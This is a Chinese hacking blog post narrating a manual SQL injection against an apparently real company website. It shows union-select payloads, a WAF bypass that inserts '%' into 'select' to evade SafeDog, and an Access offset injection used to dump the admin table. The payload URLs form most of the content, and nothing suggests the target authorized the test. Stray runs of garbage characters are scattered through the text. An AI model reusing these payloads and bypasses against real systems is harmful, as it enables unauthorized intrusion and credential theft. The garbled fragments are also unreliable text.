一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
​
( S2 S8 `' i% }# n
顺手加个admin
​

默认后台。
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​

5 G1 _! U, `0 P
: S8 a! f) v: f$ F" e( D; \' X
所以就不用御剑扫了，待会直接封IP。

- A+ U1 w) V8 m8 q' h用order by语句判断是否存在注入。
; z' I1 ~% d/ l  [% h; z$ E1 H- qhttp://www.xxx.com /product_show.asp?id=997 order by 1
* a4 o9 X3 l5 T. [0 Khttp://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。
0 O4 N# ?8 j# Q7 x. P  ^
接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​
. ?$ F9 o; ~# F0 Q
! X* s/ S; H- R, C2 C$ j$ k& K
4 @, g7 S: r7 x
$ u) p0 z- ]4 `8 p# j+ p5 q8 F在select中间加个%,se%lect绕过安全狗。
​

9 I0 y2 V1 E4 }  ^发现存在admin表，然后开始手工猜常用的字段。
7 Z3 q7 B" X" y) w纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。

! `0 _' \- h! }- v! D# ~7 e2 H- x突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
+ w( t+ k0 ^& ~5 t) N
! \$ J9 @8 {! }& t7 T" m. [科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
- M# u3 \# A  ~  x, Z' X, h2 _% z; h好了，敏感内容出显了。​

5 U+ k3 p* c9 a# Z( ?, C